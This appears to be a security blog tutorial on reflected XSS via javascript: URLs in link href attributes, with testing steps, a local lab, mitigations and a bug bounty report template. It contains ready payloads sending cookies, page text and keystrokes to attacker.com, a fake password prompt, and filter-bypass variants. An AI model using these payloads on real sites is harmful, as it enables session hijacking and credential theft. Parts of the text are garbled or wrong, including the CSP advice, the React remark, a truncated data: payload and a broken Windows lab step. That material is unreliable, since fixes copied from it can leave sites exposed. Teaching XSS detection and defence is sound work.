JAVASCRIPT: Pseudo-Protocol XSS: How Unvalidated URL Schemes Can Hijack Your Session + Video

Listen to this Post

Featured Image

Introduction:

Reflected Cross-Site Scripting (XSS) remains one of the most prevalent web vulnerabilities, often triggered through unsanitized user input reflected directly into HTML attributes. A particularly dangerous vector is the javascript: pseudo-protocol, which, when injected into an anchor tag’s href attribute, allows arbitrary script execution within the victim’s browser context—bypassing traditional http:// or https:// scheme validation.

Learning Objectives:

  • Identify and exploit Reflected XSS vulnerabilities caused by unvalidated URL parameters in anchor href attributes.
  • Execute practical testing techniques using Linux/Windows command-line tools and browser developer consoles.
  • Implement robust input validation, output encoding, and Content Security Policy (CSP) measures to mitigate javascript: protocol injection.

You Should Know:

1. Anatomy of the javascript: Pseudo-Protocol XSS

Step‑by‑step guide explaining what this does and how to use it.

The vulnerability arises when an application accepts a user-controlled parameter (e.g., downloadUrl) and directly embeds it into an HTML anchor tag without proper sanitization:

<a href="USER_INPUT">Download</a>

An attacker supplies `javascript:alert(document.cookie)` as the input. The browser, upon clicking the link, executes the JavaScript code instead of navigating to a URL.

How to test for it manually:

– Identify any parameter whose value is reflected inside an `href` attribute.
– Inject `javascript:alert(‘XSS’)` into the parameter and observe if the alert triggers on click.
– For blind testing, use `javascript:console.log(‘xss’)` and check the browser console.

Example vulnerable PHP code:

$url = $_GET['downloadUrl'];
echo "<a href='$url'>Download file</a>";

Mitigation in code:

$url = filter_var($_GET['downloadUrl'], FILTER_VALIDATE_URL);
if (!preg_match('/^https?:\/\//', $url)) {
die('Invalid protocol');
}
  1. Testing for XSS via URL Schemes – Command Line & Tools

Linux (curl): Send a crafted request and inspect the reflected output.

curl -s "http://vulnerable-site.com/page?downloadUrl=javascript:alert(1)" | grep -i "href"

Windows PowerShell: Similar approach with Invoke-WebRequest.

(Invoke-WebRequest -Uri "http://vulnerable-site.com/page?downloadUrl=javascript:alert(1)").Content -match 'href="javascript'

Burp Suite Professional/Community:

– Capture a request containing the parameter.

– Send to Repeater, replace parameter value with javascript:alert(document.domain).
– Click “Render” to visualize or forward to browser.
– Use Intruder with a payload list of XSS fuzzing strings (e.g., SecLists’ XSS payloads).

Browser Developer Tools (F12): After injection, navigate to Console and run:

document.querySelector('a[href^="javascript:"]').click();

This triggers the payload if the link exists.

  1. Exploitation Techniques – From Alert to Session Hijacking

A simple `alert()` proves existence, but real impact requires chaining.

Session hijacking payload:

javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)

Exfiltrating page source or CSRF tokens:

javascript:fetch('https://attacker.com/exfil',{method:'POST',body:document.body.innerText})

Keylogging within the victim page:

javascript:document.onkeypress=e=>fetch('https://attacker.com/k?'+e.key)

Forcing a credential harvester modal:

javascript:prompt('Session expired. Please re-enter password:')

Defense in exploitation: Always ensure your testing is authorized. On self-hosted or bug bounty targets, use benign payloads like `javascript:console.log(‘XSS’)` to avoid unintended data leaks.

4. Mitigation Strategies – Code Hardening & CSP

Input validation (whitelist allowed schemes):

function isValidUrl(url) {
try {
const u = new URL(url);
return ['http:', 'https:'].includes(u.protocol);
} catch(e) { return false; }
}

Output encoding (HTML entity encoding for href context):

In Java (OWASP Java Encoder):

String safeUrl = Encode.forHtmlAttribute(userUrl);

In Python (Django): `{{ url|escape }}` or use `urlencode` filter.

Content Security Policy (CSP) header to block javascript: pseudo-protocol:

Content-Security-Policy: script-src 'self'; navigate-to 'self'; block-all-mixed-content

The directive `script-src ‘unsafe-inline’` is not enough; you must also avoid `unsafe-eval` and ensure `javascript:` URIs are ignored by modern browsers when CSP blocks inline script execution. Add `sandbox allow-same-origin` to further restrict.

Framework-specific guards:

  • React: JSX escapes by default, but `dangerouslySetInnerHTML` bypasses – never insert user input into `href` unsafely.
  • Angular: Use `DomSanitizer` with `bypassSecurityTrustUrl` only after sanitization.

5. Hands-On Lab: Simulate the Vulnerability Locally

Set up a minimal vulnerable environment to practice detection and exploitation.

Step 1: Create `index.php` (requires PHP server)

<?php
$url = isset($_GET['url']) ? $_GET['url'] : 'https://example.com';
?>
<!DOCTYPE html>
<html>
<body>
<a href="<?php echo $url; ?>">Click here (vulnerable)</a>
</body>
</html>

Step 2: Launch PHP built-in server (Linux/macOS/Windows with PHP in PATH)

php -S 0.0.0.0:8080

Step 3: Test the vulnerability

Visit `http://localhost:8080/index.php?url=javascript:alert(document.cookie)` and click the link.

Step 4: Fix the code using whitelist validation

$allowed = ['https://trusted.com', 'https://cdn.com'];
$url = $_GET['url'] ?? '';
if (!in_array($url, $allowed)) {
$url = 'https://example.com';
}

Windows alternative (no PHP): Use Python HTTP server with a custom HTML file.

echo ^<a href="%url%">click^</a> > test.html
python -m http.server 8000

Then visit `http://localhost:8000/test.html?url=javascript:alert(1)` – note that without server-side reflection, you must manually edit the file.

6. Advanced Bypasses & Edge Cases

Even whitelisting http/https can be bypassed with URL trickery.

Unicode / hex encoding in older browsers:

`javascript:%61lert(1)` (IE legacy) – modern browsers normalize, but some WAFs miss variants.

Using data: URI as a fallback:

`data:text/html,` – if the app allows `data:` scheme, an attacker can render arbitrary HTML.

Svg vector with embedded script:

`https://example.com/image.svgjavascript:alert(1)` – some parsers mishandle fragments.

Testing for these:

  • Fuzz parameter with javascript:, jAvAsCrIpT:, `JaVaScRiPt:%0aalert(1)//`
    – Check if `\u006A\u0061vascript:` (Unicode escapes) are normalized.

Mitigation against bypasses: Use a library like `is-valid-url` plus scheme whitelist, and never rely solely on blacklisting.

  1. Bug Bounty Reporting – How to Write a Professional Report

When you find an XSS like the one described in the original post, structure your report for maximum clarity and impact.

Reflected XSS via javascript: Pseudo-Protocol in downloadUrl Parameter

Steps to Reproduce:

  1. Navigate to `https://target.com/download?downloadUrl=javascript:alert(document.domain)`

2. Click the generated “Download” link.

3. Observe alert box with the domain.

Proof of Concept (PoC) code:

<a href="javascript:fetch('//attacker.com?c='+document.cookie)">PoC</a>

Provide a curl command:

curl -i "https://target.com/page?url=javascript:alert(1)"

Impact: Session hijacking, CSRF token theft, internal network discovery, and complete account takeover if chained.

Remediation Suggestion: Validate URL schemes, encode output, and deploy a strict CSP.

Tools to automate reporting: Use `dalfox` or `XSStrike` to generate detailed outputs.

What Undercode Say:

  • Key Takeaway 1: The javascript: pseudo-protocol remains a silent killer in web apps; never trust user input even when placed in “safe” attributes like href. A single missing validation can compromise an entire session.
  • Key Takeaway 2: Modern browsers still execute javascript: URIs unless blocked by CSP or explicit scheme validation. Developers must combine whitelist validation with output encoding and security headers—no single control is sufficient.

Prediction:

As more organizations adopt client-side frameworks and hybrid mobile apps, XSS via URL schemes will resurge due to improper handling of deep links and custom protocol handlers. Attackers will increasingly combine javascript: injections with DOM-based vulnerabilities to bypass traditional WAFs. Expect automated scanners to evolve dedicated modules for detecting pseudo-protocol XSS, while bug bounty platforms will raise bounties for such findings as they often lead to full account takeover. The future defense lies in default-deny CSP policies and browser native restrictions like the `javascript:` blocking flag currently trialed in some Chromium builds.

▶️ Related Video (86% Match):

🎯Let’s Practice For Free:

IT/Security Reporter URL:

Reported By: Bro Bone – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky